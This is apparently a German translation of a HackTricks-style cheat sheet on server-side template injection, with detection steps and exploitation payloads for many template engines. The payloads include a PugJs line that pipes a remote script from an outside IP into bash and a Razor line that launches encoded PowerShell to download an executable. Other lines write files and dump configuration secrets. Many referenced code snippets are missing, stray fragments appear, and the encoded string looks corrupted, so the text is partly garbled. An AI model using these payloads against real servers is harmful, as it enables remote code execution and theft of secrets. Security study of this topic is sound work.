SSTI (Server Side Template Injection)
SSTI (Serverseitige Template-Injektion)
RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
Was ist SSTI (Serverseitige Template-Injektion)
Die serverseitige Template-Injektion ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, der auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Codeschnipsel unter Verwendung von Jinja demonstriert:
Im diesem anfälligen Code wird der name
-Parameter aus der Benutzeranfrage direkt in das Template mit der render
-Funktion übergeben. Dies könnte einem Angreifer potenziell ermöglichen, bösartigen Code in den name
-Parameter einzufügen, was zu einer serverseitigen Template-Injection führen kann.
Ein Angreifer könnte beispielsweise eine Anfrage mit einem Payload wie diesem erstellen:
Die Nutzlast {{bad-stuff-here}}
wird in den name
-Parameter eingefügt. Diese Nutzlast kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, nicht autorisierten Code auszuführen oder den Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Um Schwachstellen bei serverseitigen Template-Injektionen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu minimieren.
Erkennung
Um Server-seitige Template-Injektionen (SSTI) zu erkennen, ist das Fuzzing des Templates zunächst ein direkter Ansatz. Dies beinhaltet das Einspritzen einer Sequenz von Sonderzeichen (${{<%[%'"}}%\
) in das Template und die Analyse der Unterschiede in der Antwort des Servers auf reguläre Daten im Vergleich zu dieser speziellen Nutzlast. Anzeichen für Schwachstellen sind:
Geworfene Fehler, die die Schwachstelle und möglicherweise den Template-Engine offenlegen.
Fehlen der Nutzlast im Reflektieren oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
Klartextkontext: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B.
{{7*7}}
,${7*7}
).Code-Kontext: Bestätigen Sie die Schwachstelle, indem Sie Eingabeparameter ändern. Ändern Sie beispielsweise
greeting
inhttp://vulnerable-website.com/?greeting=data.username
, um zu sehen, ob die Ausgabe des Servers dynamisch oder fest ist, wie beigreeting=data.username}}hello
, das den Benutzernamen zurückgibt.
Identifikationsphase
Die Identifizierung des Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Nutzlasten. Häufige Nutzlasten, die Fehler verursachen, sind ${7/0}
, {{7/0}}
und <%= 7/0 %>
. Die Beobachtung der Antwort des Servers auf mathematische Operationen hilft dabei, die spezifische Template-Engine zu lokalisieren.
Tools
ein effizienter SSTI + CSTI-Scanner, der neuartige Polyglots verwendet
eine interaktive Tabelle, die die effizientesten Vorlageinjektions-Polyglots zusammen mit den erwarteten Antworten der 44 wichtigsten Vorlagen-Engines enthält.
Exploits
Generisch
In dieser Wortliste finden Sie Variablen, die in den Umgebungen einiger der unten genannten Engines definiert sind:
Java
Java - Grundlegende Injektion
Java - Abrufen der Umgebungsvariablen des Systems
Java - Abrufen von /etc/passwd
FreeMarker (Java)
Sie können Ihre Payloads unter https://try.freemarker.apache.org ausprobieren
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Freemarker - Sandbox umgehen
⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30
Weitere Informationen
Im FreeMarker-Abschnitt von https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Weitere Informationen
Im Velocity-Abschnitt von https://portswigger.net/research/server-side-template-injection
Thymeleaf
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck ${7*7}
, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
SpringEL:
OGNL:
Thymeleaf erfordert, dass diese Ausdrücke in bestimmten Attributen platziert werden. Allerdings wird Expression Inlining für andere Vorlagenorte unterstützt, wobei Syntax wie [[...]]
oder [(...)]
verwendet wird. Daher könnte ein einfaches SSTI-Test-Payload wie [[${7*7}]]
aussehen.
Die Wahrscheinlichkeit, dass dieses Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Vorlagenerstellung; Vorlagen müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver
implementieren, um Vorlagen aus Zeichenfolgen dynamisch zu erstellen, was unüblich ist.
Thymeleaf bietet auch Expression Preprocessing an, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (__...__
) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
Beispiel für eine Schwachstelle in Thymeleaf
Betrachten Sie den folgenden Code-Schnipsel, der anfällig für Ausnutzung sein könnte:
Dies deutet darauf hin, dass wenn der Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen kann, die auf URLs wie folgt zugreift:
Weitere Informationen
Spring Framework (Java)
Filter umgehen
Mehrere Variablenausdrücke können verwendet werden. Wenn ${...}
nicht funktioniert, versuchen Sie es mit #{...}
, *{...}
, @{...}
oder ~{...}
.
Lese
/etc/passwd
Benutzerdefiniertes Skript zur Payload-Generierung
Weitere Informationen
Spring View Manipulation (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Alte Version von Pebble ( < Version 3.0.9):
Neue Version von Pebble:
Jinjava (Java)
Jinjava ist eine leistungsstarke und benutzerfreundliche Template-Engine für Java. Es wird häufig in Webanwendungen verwendet, um dynamische Inhalte zu generieren. Jinjava unterstützt Server-seitige Template-Injection (SSTI), was zu potenziell gefährlichen Sicherheitslücken führen kann. Es ist wichtig, Jinjava sicher zu konfigurieren und Eingaben ordnungsgemäß zu validieren, um SSTI-Angriffe zu verhindern.
Jinjava ist ein Open-Source-Projekt, das von Hubspot entwickelt wurde und unter https://github.com/HubSpot/jinjava/ verfügbar ist.
Jinjava - Befehlsausführung
Behoben durch https://github.com/HubSpot/jinjava/pull/230
Weitere Informationen
Hubspot - HuBL (Java)
{% %}
Anweisungstrenner{{ }}
Ausdruckstrenner{# #}
Kommentartrenner{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Suche nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckte das Jinjava-Projekt auf Github.
Weitere Informationen
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) ist eine grundlegende Funktion, die die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu optimieren. Zu den wichtigsten JavaEE-Technologien, die EL nutzen, gehören:
JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu verknüpfen.
JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, was es erleichtert, Seitenelemente mit den Anwendungsdaten zu verbinden.
Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Web-Ebene und verwalteten Beans zu ermöglichen und so eine kohärentere Anwendungsstruktur sicherzustellen.
Überprüfen Sie die folgende Seite, um mehr über die Ausnutzung von EL-Interpretern zu erfahren:
pageEL - Expression LanguageGroovy (Java)
Die folgenden Security Manager-Bypasses stammen aus diesem Bericht.
RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsfachleute in jeder Disziplin.
Smarty (PHP)
Weitere Informationen
Im Smarty-Abschnitt von https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Vorlagenformat
Weitere Informationen
Im Abschnitt Twig und Twig (Sandboxed) von https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates ist eine Vorlagen-Engine, die nativ für PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, verwendet Plates nativen PHP-Code in Vorlagen, was es für PHP-Entwickler intuitiv macht.
Controller:
Seitenvorlage:
Layoutsvorlage:
Weitere Informationen
PHPlib und HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ist dasselbe wie PHPlib, aber für Pear portiert.
authors.tpl
SSTI (Server-Side Template Injection)
Authors
License
This project is licensed under the MIT License - see the LICENSE file for details.
Weitere Informationen
Jade (NodeJS)
Weitere Informationen
Im Jade-Abschnitt von https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate ist eine PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
Weitere Informationen
Handlebars (NodeJS)
Pfadtraversierung (mehr Informationen hier).
= Fehler
${7*7} = ${7*7}
Nichts
Weitere Informationen
JsRender (NodeJS)
Vorlage | Beschreibung |
Auswerten und Ausgabe rendern | |
Auswerten und HTML-codierte Ausgabe rendern | |
Kommentar | |
und | Erlauben von Code (standardmäßig deaktiviert) |
= 49
Clientseite
Serverseitig
Weitere Informationen
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Beispiel für serverseitiges Rendern
Weitere Informationen
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Keine Ausgabe
#{7*7} = #{7*7}
{{console.log(1)}} = Fehler
Weitere Informationen
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
Weitere Informationen
Slim (Ruby)
{ 7 * 7 }
Weitere Informationen
Python
Schauen Sie sich die folgende Seite an, um Tricks zum Umgehen von Sandboxes für beliebige Befehlsausführung in Python zu lernen:
pageBypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Weitere Informationen
Jinja2 (Python)
Jinja2 ist eine voll ausgestattete Template-Engine für Python. Es bietet volle Unicode-Unterstützung, eine optionale integrierte Sandbox-Ausführungsumgebung, wird weit verbreitet eingesetzt und ist unter der BSD-Lizenz veröffentlicht.
{{7*7}} = Fehler
${7*7} = ${7*7}
{{foobar}} Nichts
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Vorlagenformat
RCE nicht abhängig von __builtins__
:
Weitere Details zum Missbrauch von Jinja:
pageJinja2 SSTIAndere Payloads unter https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Weitere Informationen
Razor (.Net)
@(2+2) <= Erfolg
@() <= Erfolg
@("{{code}}") <= Erfolg
@ <= Erfolg
@{} <= FEHLER!
@{ <= FEHLER!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");
Die .NET System.Diagnostics.Process.Start
Methode kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Webanwendungsbeispiel finden Sie unter https://github.com/cnotin/RazorVulnerableApp
Weitere Informationen
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nichts<%= response.write(date()) %>
= <Date>
Weitere Informationen
Mojolicious (Perl)
Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Fehler
SSTI in GO
In der Go-Template-Engine kann die Bestätigung ihrer Verwendung mit spezifischen Payloads erfolgen:
{{ . }}
: Zeigt die Datenstruktur-Eingabe an. Wenn beispielsweise ein Objekt mit einemPassword
-Attribut übergeben wird, könnte{{ .Password }}
es offenlegen.{{printf "%s" "ssti" }}
: Sollte den String "ssti" anzeigen.{{html "ssti"}}
,{{js "ssti"}}
: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Anweisungen können in der Go-Dokumentation hier erkundet werden.
XSS-Ausnutzung
Mit dem Paket text/template
kann XSS einfach durch direktes Einfügen des Payloads erfolgen. Im Gegensatz dazu codiert das Paket html/template
die Antwort, um dies zu verhindern (z.B. führt {{"<script>alert(1)</script>"}}
zu <script>alert(1)</script>
). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Codierung umgehen: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE-Ausnutzung
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen html/template
und text/template
. Das Modul text/template
erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in html/template
nicht erlaubt ist. Die Dokumentation für diese Module ist verfügbar hier für html/template und hier für text/template.
Für RCE über SSTI in Go können Objektmethode aufgerufen werden. Wenn beispielsweise das bereitgestellte Objekt eine System
-Methode hat, die Befehle ausführt, kann es wie folgt ausgenutzt werden: {{ .System "ls" }}
. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
Weitere Informationen
Weitere Exploits
Überprüfen Sie den Rest von https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection für weitere Exploits. Außerdem finden Sie interessante Tags-Informationen unter https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Verwandte Hilfe
Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
Tools
Brute-Force-Erkennungsliste
Übung & Referenzen
RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
Last updated